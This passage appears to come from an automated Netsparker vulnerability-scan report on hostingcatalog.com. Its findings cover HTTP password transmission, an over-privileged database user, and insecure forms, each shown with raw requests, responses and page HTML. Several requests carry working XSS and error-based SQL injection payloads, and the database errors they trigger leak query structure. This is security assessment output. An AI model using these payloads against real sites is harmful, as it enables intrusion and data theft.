Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 144
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x002049)%3c%2fscript%3e&password=3&B1=Login&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:40:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 388


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x002049)</script>' AND active NOT IN (2' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x002049)</script>' AND active NOT IN (2,3,4)
Password Transmitted Over HTTP

Password Transmitted Over HTTP

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Form target action

advert_login.php

Request

GET /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:45 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: user_counted_0=1%3CAND%3E%3CAND%3E24; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hosting Catalog - Advertiser login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<!-- BEGIN_META -->
<!-- END_META -->
<base href="http://www.hostingcatalog.com/">
<link href="style.css" rel="stylesheet" type="text/css">
<SCRIPT LANGUAGE="JavaScript">
<!--
function goBannerLink(src)
{ var f=document.forms['top_banner_form'];
if (src.value=='0') return true;
f.elements['param'].value=src.value;
f.submit();
}
function createEmail(first,second,third,text,linkclass)
{
var str="";
if (linkclass.lenght!=0) str=" class='"+linkclass+"' ";
document.write("<a href='mailto:"+first+"@"+second+"."+third+"'"+str+">"+text+"</a>") ;
}
//-->
</SCRIPT>
</head>

<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td background="images/header/header_bg.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a><img src="/1x1s.gif" width="1" height="1"></td>
<td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td>
<td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td>
</tr>
<tr>
<td height="38" align="right">
<table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5E3D5346E1A2E8D3FB7DBB7567C2BB7D1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='5E3D5346E1A2E8D3F57B506A81334B9E1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='5E3D5346E1A2E8D3071B712A0CD106C31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3D89F77BDB4668E761A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='5E3D5346E1A2E8D38825CA20AC0E82841773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5E3D5346E1A2E8D30EFE54962122932A1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='5E3D5346E1A2E8D3B4F7174338E3AF391A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='5E3D5346E1A2E8D3D58C10A0E58281371773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='5E3D5346E1A2E8D334DD1066F80C62A31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='5E3D5346E1A2E8D33E46DEEB1AB3F1721773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5E3D5346E1A2E8D3B88F0E6AD77F1D3C1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='5E3D5346E1A2E8D350E87014FDAE83F71A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='5E3D5346E1A2E8D3A1E203343FD0049A1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3871E9B5A080D15191A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='5E3D5346E1A2E8D316DABD31A374803E1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5E3D5346E1A2E8D3ECAEFD32FDEBB51C1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='5E3D5346E1A2E8D344F4D250C9A348E11773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='5E3D5346E1A2E8D390FEAD771EE343F21773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='5E3D5346E1A2E8D39828B6B0B51658A91773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table></td>
</tr>
<tr>
<td height="32" align="right" class="headerlink">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="register.php">List Your Company</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">Advertiser Login</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td>
</tr>
</table></td>
</tr>


<tr><td><img src="images/misc/spacer.gif" width="5" height="10"></td></tr>
<tr>
<td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="172" valign="top">
<table width="172" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;WEB HOSTING</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/unix-linux-shared-hosting">Unix/Linux</a><br>
<a class=link href="http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting">Windows Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/reseller-hosting-packages-and-programs">Reseller Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/ecommerce-web-hosting">Ecommerce/Storefronts</a><br>
<a class=link href="http://www.hostingcatalog.com/low-cost-web-hosting">Budget Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/adult-website-picture-hosting">Adult Hosting</a></td>
</td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;ADVANCED HOSTING </td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/virtual-private-server-hosting">Virtual Private Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/linux-windows-dedicated-servers">Dedicated Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/colocation-server-hosting-services">Colocation</a><br>
<a class=link href="http://www.hostingcatalog.com/managed-hosting-providers-and-solutions">Managed Hosting</a><br>
<a class=link href="http://www.hostingcatalog.com/affordable-game-server-hosting">Gaming Servers</a><br>
<a class=link href="http://www.hostingcatalog.com/international-overseas-web-hosting">International Hosting</a></td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;CONNECTIVITY</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/dialup-internet-service-providers">Dialup Access</a><br>
<a class=link href="http://www.hostingcatalog.com/category.php/34">Wholesale Dialup</a><br>
<a class=link href="http://www.hostingcatalog.com/broadband-internet-providers">Residential Broadband</a><br>
<a class=link href="http://www.hostingcatalog.com/corporate-business-broadband-internet">Business Broadband</a><br>
<a class=link href="http://www.hostingcatalog.com/internet-backbone-provdiers">Bandwidth/Backbone</a><br>
<a class=link href="http://www.hostingcatalog.com/wireless-internet-solutions">Wireless Internet</a></td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td height="20" background="images/misc/leftcolumnheader_bg.gif" bgcolor="#FA8A16" class="leftcolumnheader">&nbsp;&nbsp;PRODUCTS &amp; SERVICES</td>
</tr>
<tr>
<td height="1"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td background="images/misc/leftcolumn_bg.gif"><table width="160" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td><a class=link href="http://www.hostingcatalog.com/domain-name-registration">Domain Registration</a><br>
<a class=link href="http://www.hostingcatalog.com/internet-consulting-service">Consulting Services</a><br>
<a class=link href="http://www.hostingcatalog.com/merchant-account-services">Merchant Accounts</a><br>
<a class=link href="http://www.hostingcatalog.com/online-shopping-cart-solutions">Shopping Carts</a><br>
<a class=link href="http://www.hostingcatalog.com/hosting-control-panel-software">Control Panels</a><br>
<a class=link href="http://www.hostingcatalog.com/file-backup-systems-and-solutions">Backup/File Sharing</a><br>
<a class=link href="http://www.hostingcatalog.com/managed-internet-services">Managed Services</a><br>
<a class=link href="http://www.hostingcatalog.com/ssl-server-certificate-providers">SSL Certificates</a><br>
<a class=link href="http://www.hostingcatalog.com/server-management-service">Server Management</a><br>
<a class=link href="http://www.hostingcatalog.com/online-graphic-design-services">Design Services</a></td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#FA8A16"><img src="images/misc/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td><img src="images/misc/spacer.gif" wi..
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 767
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
Critical Form Served Over HTTP

Critical Form Served Over HTTP

1 TOTAL
MEDIUM
CONFIRMED
1
Netsparker identified that a password field is served over HTTP.

Impact

If an attacker can carry out a MITM (Man in the middle) attack, he/she may be able to intercept traffic by injecting JavaScript code into this page or changing action of the HTTP code to steal the users password. Even though the target page is HTTPS, this does not protect the system against MITM attacks.

This issue is important as it negates the use of SSL as a privacy protection barrier.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms to HTTPS and do not allow these pages to be served over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /register.php

/register.php CONFIRMED

http://www.hostingcatalog.com/register.php

Form target action

https://www.hostingcatalog.com/register.php

Request

GET /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Location: https://www.hostingcatalog.com/register.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: user_counted_0=1%3CAND%3E; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5E3D5346E1A2E8D357F0D29E8BB4ECA21A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='5E3D5346E1A2E8D3914BF6A79081EC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='5E3D5346E1A2E8D3804BDCBC5F3624771A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3AEB7320C534FCFD51A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='5E3D5346E1A2E8D33C1D7FBCC567E12D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5E3D5346E1A2E8D355CAB932145BAE971A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='5E3D5346E1A2E8D30119BFFBDFB49D3F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='5E3D5346E1A2E8D3224DA93AAA07BC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='5E3D5346E1A2E8D361275C9B9A6411981A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='5E3D5346E1A2E8D38FDA53D274EDAAD21773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5E3D5346E1A2E8D3952BAD0C9A3E36BD1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='5E3D5346E1A2E8D350B757B6C7B601661A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='5E3D5346E1A2E8D3094F4E7C43B1C0B31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3234ECF4B3ED1D9D11A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='5E3D5346E1A2E8D32F4252E2CEACDD001A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5E3D5346E1A2E8D3202D32DB2F9A7DBF1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='5E3D5346E1A2E8D3FDF171907F5C9BB71773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='5E3D5346E1A2E8D39698D60259649B2E1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='5E3D5346E1A2E8D3B3A8C3105348E0401773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
